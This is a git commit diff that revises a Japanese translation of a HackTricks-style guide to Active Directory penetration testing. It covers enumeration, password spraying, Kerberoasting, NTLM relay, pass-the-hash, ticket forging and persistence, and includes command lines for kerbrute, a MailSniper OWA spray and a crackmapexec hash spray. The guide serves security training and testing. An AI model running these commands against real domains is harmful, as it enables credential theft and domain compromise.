Translated ['src/windows-hardening/active-directory-methodology/README.m

This commit is contained in:
Translator 2025-08-10 16:19:53 +00:00
parent 0fdbf1632c
commit 80723a71d6
3 changed files with 195 additions and 87 deletions

View File

@ -263,6 +263,7 @@
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
- [Adws Enumeration](windows-hardening/active-directory-methodology/adws-enumeration.md)
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
- [Badsuccessor Dmsa Migration Abuse](windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md)
- [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md)
- [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md)
- [Custom SSP](windows-hardening/active-directory-methodology/custom-ssp.md)

View File

@ -4,7 +4,7 @@
## 基本概要
**Active Directory**は、**ネットワーク管理者**が**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できる基盤技術として機能します。これはスケーラブルに設計されており、膨大な数のユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。
**Active Directory**は、**ネットワーク管理者**がネットワーク内で**ドメイン**、**ユーザー**、および**オブジェクト**を効率的に作成および管理できる基盤技術として機能します。これはスケーラブルに設計されており、膨大な数のユーザーを管理可能な**グループ**および**サブグループ**に整理し、さまざまなレベルで**アクセス権**を制御します。
**Active Directory**の構造は、**ドメイン**、**ツリー**、および**フォレスト**の3つの主要な層で構成されています。**ドメイン**は、共通のデータベースを共有する**ユーザー**や**デバイス**などのオブジェクトのコレクションを含みます。**ツリー**は、共有構造によってリンクされたこれらのドメインのグループであり、**フォレスト**は、相互に**信頼関係**を持つ複数のツリーのコレクションを表し、組織構造の最上層を形成します。特定の**アクセス**および**通信権**は、これらの各レベルで指定できます。
@ -16,14 +16,14 @@
4. **ツリー** 共通のルートドメインを共有するドメインのグループです。
5. **フォレスト** Active Directoryにおける組織構造の頂点であり、**信頼関係**を持ついくつかのツリーで構成されています。
**Active Directory Domain Services (AD DS)**は、ネットワーク内の集中管理および通信に不可欠な一連のサービスを含みます。これらのサービスは以下を含みます:
**Active Directory Domain Services (AD DS)**は、ネットワーク内の集中管理および通信に不可欠な一連のサービスを含みます。これらのサービスは以下を含みます:
1. **ドメインサービス** データストレージを集中化し、**ユーザー**と**ドメイン**間の相互作用を管理し、**認証**および**検索**機能を含みます。
2. **証明書サービス** 安全な**デジタル証明書**の作成、配布、および管理を監督します。
3. **軽量ディレクトリサービス** **LDAPプロトコル**を通じてディレクトリ対応アプリケーションをサポートします。
4. **ディレクトリフェデレーションサービス** 複数のWebアプリケーションでユーザーを認証するための**シングルサインオン**機能を提供します。
4. **ディレクトリフェデレーションサービス** 複数のWebアプリケーションでユーザーを単一のセッションで認証するための**シングルサインオン**機能を提供します。
5. **権利管理** 著作権資料を保護し、その無許可の配布および使用を規制するのを支援します。
6. **DNSサービス** **ドメイン名**の解決に重要です。
6. **DNSサービス** **ドメイン名**の解決に不可欠です。
詳細な説明については、[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)を確認してください。
@ -44,7 +44,7 @@
AD環境にアクセスできるが、クレデンシャル/セッションがない場合は、次のことができます:
- **ネットワークのペンテスト:**
- ネットワークをスキャンし、マシンとオープンポートを見つけ、**脆弱性を悪用**したり、そこから**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。
- ネットワークをスキャンし、マシンとオープンポートを見つけ、そこから**脆弱性を悪用**したり、**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。
- DNSを列挙することで、ドメイン内の主要なサーバーに関する情報を得ることができます。ウェブ、プリンター、共有、VPN、メディアなど。
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 一般的な[**ペンテスト手法**](../../generic-methodologies-and-resources/pentesting-methodology.md)を確認して、これを行う方法に関する詳細情報を見つけてください。
@ -81,7 +81,7 @@ AD環境にアクセスできるが、クレデンシャル/セッションが
- **匿名SMB/LDAP列挙:** [**ペンテストSMB**](../../network-services-pentesting/pentesting-smb/index.html)および[**ペンテストLDAP**](../../network-services-pentesting/pentesting-ldap.md)ページを確認してください。
- **Kerbrute列挙**: **無効なユーザー名が要求される**と、サーバーは**Kerberosエラー**コード_KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_を使用して応答し、ユーザー名が無効であることを判断できます。**有効なユーザー名**は、**AS-REP**応答で**TGT**を引き起こすか、エラー_KRB5KDC_ERR_PREAUTH_REQUIRED_を示し、ユーザーが事前認証を行う必要があることを示します。
- **MS-NRPCに対する認証なし**: ドメインコントローラーのMS-NRPCNetlogonインターフェースに対してauth-level = 1認証なしを使用します。この方法は、MS-NRPCインターフェースにバインドした後、`DsrGetDcNameEx2`関数を呼び出して、ユーザーまたはコンピュータが存在するかどうかをクレデンシャルなしで確認します。[NauthNRPC](https://github.com/sud0Ru/NauthNRPC)ツールは、このタイプの列挙を実装しています。研究は[こちら](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)で見つけることができます。
- **MS-NRPCに対する認証なし**: ドメインコントローラーのMS-NRPCNetlogonインターフェースに対してauth-level = 1認証なしを使用します。この方法は、MS-NRPCインターフェースにバインドした後、`DsrGetDcNameEx2`関数を呼び出して、クレデンシャルなしでユーザーまたはコンピュータが存在するかどうかを確認します。[NauthNRPC](https://github.com/sud0Ru/NauthNRPC)ツールは、このタイプの列挙を実装しています。研究は[こちら](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)で見つけることができます。
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -95,7 +95,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
```
- **OWA (Outlook Web Access) サーバー**
ネットワーク内にこれらのサーバーの1つを見つけた場合、**ユーザー列挙を実行することもできます**。例えば、ツール[**MailSniper**](https://github.com/dafthack/MailSniper)を使用することができます:
ネットワーク内にこれらのサーバーの1つを見つけた場合、**ユーザー列挙を実行する**こともできます。たとえば、ツール [**MailSniper**](https://github.com/dafthack/MailSniper) を使用できます:
```bash
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
@ -108,23 +108,23 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> ユーザー名のリストは[**このgithubリポ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)およびこのリポ([**統計的に可能性のあるユーザー名**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。
> ユーザー名のリストは[**このgithubリポジトリ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)やこのリポジトリ([**統計的に可能性の高いユーザー名**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。
>
> ただし、これを行う前に実施したリコンステップから、**会社で働いている人々の名前**を持っている必要があります。名前と姓があれば、スクリプト[**namemash.py**](https://gist.github.com/superkojiman/11076951)を使用して、潜在的な有効ユーザー名を生成できます。
> ただし、事前に実施したリコンステップから**会社で働いている人々の名前**を持っている必要があります。名前と姓があれば、スクリプト[**namemash.py**](https://gist.github.com/superkojiman/11076951)を使用して、潜在的な有効ユーザー名を生成できます。
### 1つまたは複数のユーザー名を知っている場合
さて、有効なユーザー名がすでにあるがパスワードがない場合... 次を試してください:
さて、有効なユーザー名はすでに知っているが、パスワードはない... それなら試してみてください:
- [**ASREPRoast**](asreproast.md): ユーザーが属性_DONT_REQ_PREAUTH_を**持っていない**場合、そのユーザーのために**AS_REPメッセージを要求**でき、そのメッセージにはユーザーのパスワードの派生によって暗号化されたデータが含まれます。
- [**パスワードスプレー**](password-spraying.md): 発見された各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。
- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。
- OWAサーバーを**スプレー**して、ユーザーのメールサーバーにアクセスを試みることもできます。
{{#ref}}
password-spraying.md
{{#endref}}
### LLMNR/NBT-NSポイズニング
### LLMNR/NBT-NS ポイズニング
ネットワークの**プロトコルをポイズニング**することで、いくつかのチャレンジ**ハッシュ**を**取得**できるかもしれません:
@ -132,13 +132,13 @@ password-spraying.md
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### NTLMリレー
### NTLM リレー
アクティブディレクトリを列挙できた場合、**より多くのメールとネットワークの理解が得られます**。NTLMの[**リレー攻撃**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)を強制してAD環境にアクセスできるかもしれません。
### NTLMクレデンシャルの盗難
### NTLM クレデンシャルの盗難
**nullまたはゲストユーザー**で他のPCや共有に**アクセス**できる場合、**ファイルを配置**SCFファイルなどして、何らかの形でアクセスされると**あなたに対してNTLM認証をトリガー**し、**NTLMチャレンジを盗む**ことができます:
**nullまたはゲストユーザー**で他のPCや共有に**アクセス**できる場合、**ファイルを配置**SCFファイルなどして、何らかの形でアクセスされると**NTLM認証をトリガー**し、**NTLMチャレンジを盗む**ことができます:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -158,15 +158,15 @@ kerberos-double-hop-problem.md
アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙を開始できるからです**
[**ASREPRoast**](asreproast.md)に関しては、今やすべての可能な脆弱なユーザーを見つけることができ、[**パスワードスプレー**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます。
[**ASREPRoast**](asreproast.md)に関しては、今やすべての脆弱なユーザーを見つけることができ、[**Password Spraying**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます。
- [**CMDを使用して基本的なリコンを実行**](../basic-cmd-for-pentesters.md#domain-info)できます。
- [**リコンのためにPowerShellを使用**](../basic-powershell-for-pentesters/index.html)することもでき、よりステルス性があります。
- より詳細な情報を抽出するために[**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)することもできます。
- アクティブディレクトリのリコンにおいてもう1つの素晴らしいツールは[**BloodHound**](bloodhound.md)です。これは**あまりステルス性がありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみるべきです。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりします。
- アクティブディレクトリのリコンに最適なツールの1つは[**BloodHound**](bloodhound.md)です。これは**あまりステルス性がありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみてください。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりします。
- **他の自動化されたAD列挙ツールは** [**AD Explorer**](bloodhound.md#ad-explorer)**、** [**ADRecon**](bloodhound.md#adrecon)**、** [**Group3r**](bloodhound.md#group3r)**、** [**PingCastle**](bloodhound.md#pingcastle)**です。**
- [**ADのDNSレコード**](ad-dns-records.md)は、興味深い情報を含んでいるかもしれません。
- ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal**スイートの**AdExplorer.exe**です。
- ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal** Suiteの**AdExplorer.exe**です。
- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールド、または_Description_を探すことができます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)で他の方法を確認してください。
- **Linux**を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview)を使用してドメインを列挙することもできます。
- 自動化ツールを試すこともできます:
@ -176,7 +176,7 @@ kerberos-double-hop-problem.md
Windowsからすべてのドメインユーザー名を取得するのは非常に簡単です`net user /domain``Get-DomainUser`または`wmic useraccount get name,sid`。Linuxでは、次のように使用できます`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`または`enum4linux -a -u "user" -p "password" <DC IP>`
> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンク主にcmd、powershell、powerview、BloodHoundのものにアクセスし、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるための重要な瞬間か、何もできないと決定する瞬間になります。
> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンク主にcmd、powershell、powerview、BloodHoundのものにアクセスし、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるための重要な瞬間になるか、何もできないと判断する瞬間になります。
### Kerberoast
@ -194,13 +194,13 @@ kerberoast.md
### ローカル特権昇格
通常のドメインユーザーとしての認証情報またはセッションを侵害し、**ドメイン内の任意のマシンに**このユーザーで**アクセス**できる場合、**ローカルで特権を昇格させ、認証情報を探す**方法を見つけるべきです。これは、ローカル管理者権限がないと、他のユーザーのハッシュをメモリLSASSおよびローカルSAMで**ダンプ**できないためです。
通常のドメインユーザーとしての認証情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、認証情報を盗む**方法を見つけるべきです。これは、ローカル管理者権限がないと、他のユーザーのハッシュをメモリLSASSやローカルSAMで**ダンプ**できないからです。
この本には、[**Windowsにおけるローカル特権昇格**](../windows-local-privilege-escalation/index.html)に関する完全なページと[**チェックリスト**](../checklist-windows-privilege-escalation.md)があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)を使用することを忘れないでください。
### 現在のセッションチケット
**予期しないリソースにアクセスする**ための権限を与える**チケット**を現在のユーザーで見つけることは非常に**ありそうにありません**が、確認することができます:
現在のユーザーに**予期しないリソースにアクセスする権限を与える**チケットが見つかる可能性は非常に**低い**ですが、確認することができます:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -210,17 +210,17 @@ kerberoast.md
```
### NTLM Relay
Active Directoryを列挙できた場合、**より多くのメールとネットワークの理解を得ることができます**。NTLM [**リレー攻撃**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**を強制することができるかもしれません。**
もしあなたがアクティブディレクトリを列挙することに成功したなら、**より多くのメールとネットワークの理解を得ることができるでしょう**。あなたはNTLM [**リレー攻撃**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**を強制することができるかもしれません。**
### コンピュータ共有内のクレデンシャルを探す | SMB共有
基本的なクレデンシャルを持っているので、**AD内で共有されている**興味深いファイルを**見つける**ことができるか確認してください。手動で行うこともできますが、非常に退屈で繰り返しの作業です(特に確認する必要のある数百のドキュメントを見つけた場合はなおさらです)。
基本的なクレデンシャルを持っているので、**AD内で共有されている興味深いファイルを見つけることができるか確認するべきです**。手動で行うこともできますが、非常に退屈で繰り返しの作業です(特にチェックする必要のある数百のドキュメントを見つけた場合はなおさらです)。
[**使用できるツールについて学ぶにはこのリンクをフォローしてください。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### NTLMクレデンシャルを盗む
他のPCや共有に**アクセスできる**場合、**ファイル**SCFファイルなどを**配置する**ことができ、何らかの形でアクセスされると、**あなたに対してNTLM認証をトリガーします**。これにより、**NTLMチャレンジを盗む**ことができます:
他のPCや共有に**アクセスできる場合**、**ファイルを配置することができます**SCFファイルのようなそれにアクセスされると、**あなたに対してNTLM認証をトリガーする**ので、**NTLMチャレンジを盗む**ことができます:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -228,31 +228,31 @@ Active Directoryを列挙できた場合、**より多くのメールとネッ
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
この脆弱性により、認証されたユーザーは**ドメインコントローラーを侵害する**ことができました。
この脆弱性により、認証された任意のユーザーが**ドメインコントローラーを侵害する**ことができました。
{{#ref}}
printnightmare.md
{{#endref}}
## 特権のあるクレデンシャル/セッションを使用したActive Directoryの特権昇格
## 特権の昇格 - 特権のあるクレデンシャル/セッションを使用したアクティブディレクトリ
**以下の技術には、通常のドメインユーザーでは不十分で、これらの攻撃を実行するために特別な特権/クレデンシャルが必要です。**
**以下の技術には、通常のドメインユーザーでは不十分で、これらの攻撃を実行するために特別な特権/クレデンシャルが必要です。**
### ハッシュ抽出
幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して、**いくつかのローカル管理者アカウントを侵害できた**ことを願っています。\
幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して**ローカル管理者アカウントを侵害することに成功した**ことを願っています。\
次に、メモリとローカルのすべてのハッシュをダンプする時です。\
[**ハッシュを取得するさまざまな方法についてはこのページをお読みください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
[**ハッシュを取得するためのさまざまな方法についてこのページを読んでください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### ハッシュを渡す
**ユーザーのハッシュを取得したら**、それを使用して**なりすます**ことができます。\
その**ハッシュ**を使用して**NTLM認証を実行する**ツールを使用する必要があります。**または**、新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。これにより、**NTLM認証が実行されると、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\
[**詳細についてはこのページをお読みください。**](../ntlm/index.html#pass-the-hash)
**ユーザーのハッシュを持っている場合**、それを使用して**そのユーザーを偽装する**ことができます。\
その**ハッシュ**を使用して**NTLM認証を実行する**ツールを使用する必要があります、**または**新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。そうすれば、**NTLM認証が実行されると、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\
[**詳細についてはこのページを読んでください。**](../ntlm/index.html#pass-the-hash)
### ハッシュを越えて/キーを渡す
この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルを介したハッシュのパスの代替手段です。したがって、これは特に**NTLMプロトコルが無効になっているネットワーク**で、**Kerberosのみが認証プロトコルとして許可されている**場合に**役立ちます**。
この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルを介したハッシュのパスの代替手段です。したがって、これは特に**NTLMプロトコルが無効になっているネットワーク**で、**Kerberosのみが認証プロトコルとして許可されている**場合に**特に有用です**。
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -260,7 +260,7 @@ over-pass-the-hash-pass-the-key.md
### チケットを渡す
**Pass The Ticket (PTT)**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**代わりに、パスワードやハッシュ値を盗みます。この盗まれたチケットは、**ユーザーになりすます**ために使用され、ネットワーク内のリソースやサービスへの不正アクセスを得ることができます。
**Pass The Ticket (PTT)**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**代わりに、そのパスワードやハッシュ値を盗みます。この盗まれたチケットは、その後**ユーザーを偽装する**ために使用され、ネットワーク内のリソースやサービスへの不正アクセスを得ることができます。
{{#ref}}
pass-the-ticket.md
@ -268,19 +268,19 @@ pass-the-ticket.md
### クレデンシャルの再利用
**ローカル管理者**の**ハッシュ**または**パスワード**を持っている場合は、それを使用して他の**PC**に**ローカルでログイン**してみてください
**ローカル管理者**の**ハッシュ**または**パスワード**を持っている場合は、それを使用して他の**PC**に**ローカルでログイン**しようとするべきです
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> 注意してください、これは非常に**騒がしい**ものであり、**LAPS**これを**軽減**します。
> 注意してください、これは非常に**騒がしい**ものであり、**LAPS**これを**軽減**します。
### MSSQLの悪用と信頼されたリンク
ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したりSAとして実行されている場合、NetNTLMの**ハッシュ**を**盗む**ことができたり、**リレー攻撃**を行うことができるかもしれません。\
また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合データベースリンク。ユーザーが信頼されたデータベースに対する権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤設定されたデータベースを見つけることができるかもしれません。\
また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合データベースリンク。ユーザーが信頼されたデータベースに対する権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤って構成されたデータベースを見つけることができるかもしれません。\
**データベース間のリンクは、フォレストの信頼を越えても機能します。**
{{#ref}}
@ -291,7 +291,7 @@ abusing-ad-mssql.md
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)属性を持つコンピュータオブジェクトを見つけ、コンピュータにドメイン権限がある場合、コンピュータにログインするすべてのユーザーのメモリからTGTをダンプすることができます。\
したがって、**ドメイン管理者がコンピュータにログインすると**、そのTGTをダンプして[Pass the Ticket](pass-the-ticket.md)を使用して彼を偽装することができます。\
制約のある委任のおかげで、**プリントサーバーを自動的に侵害する**ことさえ可能ですできればDCであることを願っています
制約のある委任のおかげで、**プリントサーバーを自動的に妥協させる**ことさえできるかもしれませんできればDCであることを願っています
{{#ref}}
unconstrained-delegation.md
@ -300,7 +300,7 @@ unconstrained-delegation.md
### 制約された委任
ユーザーまたはコンピュータが「制約された委任」を許可されている場合、**コンピュータ内のいくつかのサービスにアクセスするために任意のユーザーを偽装することができます**。\
その後、もしこのユーザー/コンピュータの**ハッシュを侵害**すれば、**任意のユーザー**(ドメイン管理者を含む)を偽装していくつかのサービスにアクセスすることができます。
その後、もしこのユーザー/コンピュータの**ハッシュを妥協させる**ことができれば、**任意のユーザー**(ドメイン管理者を含む)を偽装していくつかのサービスにアクセスすることができます。
{{#ref}}
constrained-delegation.md
@ -316,7 +316,7 @@ resource-based-constrained-delegation.md
### 権限/ACLの悪用
侵害されたユーザーは、**ドメインオブジェクトに対して興味深い権限**を持っている可能性があり、それにより**横移動**や**権限の昇格**が可能になります。
妥協されたユーザーは、**ドメインオブジェクトに対して興味深い権限**を持っている可能性があり、それにより**横移動**や**権限の昇格**が可能になります。
{{#ref}}
acl-persistence-abuse/
@ -332,7 +332,7 @@ printers-spooler-service-abuse.md
### 第三者セッションの悪用
**他のユーザー**が**侵害された**マシンに**アクセス**すると、メモリから**資格情報を収集**し、彼らのプロセスに**ビーコンを注入**して彼らを偽装することが可能です。\
**他のユーザー**が**妥協された**マシンに**アクセス**すると、メモリから**資格情報を収集**し、彼らのプロセスに**ビーコンを注入**して彼らを偽装することが可能です。\
通常、ユーザーはRDPを介してシステムにアクセスするため、ここでは第三者のRDPセッションに対していくつかの攻撃を実行する方法を示します
{{#ref}}
@ -341,7 +341,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS**は、ドメインに参加しているコンピュータ上の**ローカル管理者パスワード**を管理するためのシステムを提供し、それが**ランダム化**され、ユニークで、頻繁に**変更**されることを保証します。これらのパスワードはActive Directoryに保存され、アクセスは認可されたユーザーのみにACLを通じて制御されます。これらのパスワードにアクセスするための十分な権限があれば、他のコンピュータへのピボットが可能になります。
**LAPS**は、ドメインに参加しているコンピュータ上の**ローカル管理者パスワード**を管理するためのシステムを提供し、それが**ランダム化され**、ユニークで、頻繁に**変更される**ことを保証します。これらのパスワードはActive Directoryに保存され、アクセスは認可されたユーザーのみにACLを通じて制御されます。これらのパスワードにアクセスするための十分な権限があれば、他のコンピュータへのピボットが可能になります。
{{#ref}}
laps.md
@ -349,7 +349,7 @@ laps.md
### 証明書の盗難
**侵害されたマシンから証明書を収集する**ことは、環境内で権限を昇格させる方法となる可能性があります:
**妥協されたマシンから証明書を収集する**ことは、環境内で権限を昇格させる方法となる可能性があります:
{{#ref}}
ad-certificates/certificate-theft.md
@ -357,7 +357,7 @@ ad-certificates/certificate-theft.md
### 証明書テンプレートの悪用
**脆弱なテンプレート**が設定されている場合、それを悪用して権限を昇格させることが可能です:
**脆弱なテンプレート**が構成されている場合、それを悪用して権限を昇格させることが可能です:
{{#ref}}
ad-certificates/domain-escalation.md
@ -373,9 +373,9 @@ ad-certificates/domain-escalation.md
[**NTDS.ditを盗む方法に関する詳細情報はここにあります**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### 永続性としての権限昇格
### 権限昇格としての持続性
前述のいくつかの技術は、永続性のために使用できます。\
前述のいくつかの技術は続性のために使用できます。\
例えば、次のことができます:
- ユーザーを[**Kerberoast**](kerberoast.md)に対して脆弱にする
@ -398,7 +398,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### シルバーチケット
**シルバーチケット攻撃**は、特定のサービスのために**正当なチケットグラントサービスTGSチケット**を**NTLMハッシュ**を使用して作成します(例えば、**PCアカウントのハッシュ**)。この方法は、**サービス権限にアクセスするため**に使用されます。
**シルバーチケット攻撃**は、特定のサービスのために**正当なチケットグラントサービスTGSチケット**を**NTLMハッシュ**を使用して作成します(例えば、**PCアカウントのハッシュ**)。この方法は、**サービス権限にアクセスするために使用されます**
{{#ref}}
silver-ticket.md
@ -408,7 +408,7 @@ silver-ticket.md
**ゴールデンチケット攻撃**は、攻撃者がActive DirectoryAD環境内の**krbtgtアカウントのNTLMハッシュ**にアクセスすることを含みます。このアカウントは特別で、すべての**チケットグラントチケットTGT**に署名するために使用され、ADネットワーク内での認証に不可欠です。
攻撃者がこのハッシュを取得すると、任意のアカウントの**TGT**を作成することができます(シルバーチケット攻撃)。
攻撃者がこのハッシュを取得すると、任意のアカウントのために**TGT**を作成することができます(シルバーチケット攻撃)。
{{#ref}}
golden-ticket.md
@ -416,23 +416,23 @@ golden-ticket.md
### ダイヤモンドチケット
これらは、**一般的なゴールデンチケットの検出メカニズムを回避する**方法で偽造されたゴールデンチケットのようなものです。
これらは、**一般的なゴールデンチケットの検出メカニズムを回避する方法で偽造されたゴールデンチケットのようなものです。**
{{#ref}}
diamond-ticket.md
{{#endref}}
### **証明書アカウントの続性**
### **証明書アカウントの続性**
**アカウントの証明書を持っているか、要求できること**は、ユーザーアカウントに続するための非常に良い方法です(たとえ彼がパスワードを変更しても):
**アカウントの証明書を持っているか、それを要求できること**は、ユーザーアカウントに続するための非常に良い方法です(たとえ彼がパスワードを変更しても):
{{#ref}}
ad-certificates/account-persistence.md
{{#endref}}
### **証明書ドメインの続性**
### **証明書ドメインの続性**
**証明書を使用することは、ドメイン内で高権限を持って永続することも可能です:**
**証明書を使用することは、ドメイン内で高権限を持続することも可能です:**
{{#ref}}
ad-certificates/domain-persistence.md
@ -452,9 +452,9 @@ Active Directory内の**AdminSDHolder**オブジェクトは、**特権グルー
dsrm-credentials.md
{{#endref}}
### ACLの永続性
### ACL続性
特定のドメインオブジェクトに対して**特別な権限**を**ユーザー**に与えることで、そのユーザーが将来的に**権限を昇格させる**ことができるようになります。
特定のドメインオブジェクトに対して**ユーザー**に**特別な権限**を与えることで、そのユーザーが将来的に**権限を昇格させる**ことができるようになります。
{{#ref}}
acl-persistence-abuse/
@ -462,7 +462,7 @@ acl-persistence-abuse/
### セキュリティ記述子
**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少しの変更**を加えることができれば、そのオブジェクトに対して特権グループのメンバーである必要なく非常に興味深い権限を取得できます。
**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少しの変更**を加えることができれば、特権グループのメンバーである必要なく、そのオブジェクトに対して非常に興味深い権限を取得できます。
{{#ref}}
security-descriptors.md
@ -478,7 +478,7 @@ skeleton-key.md
### カスタムSSP
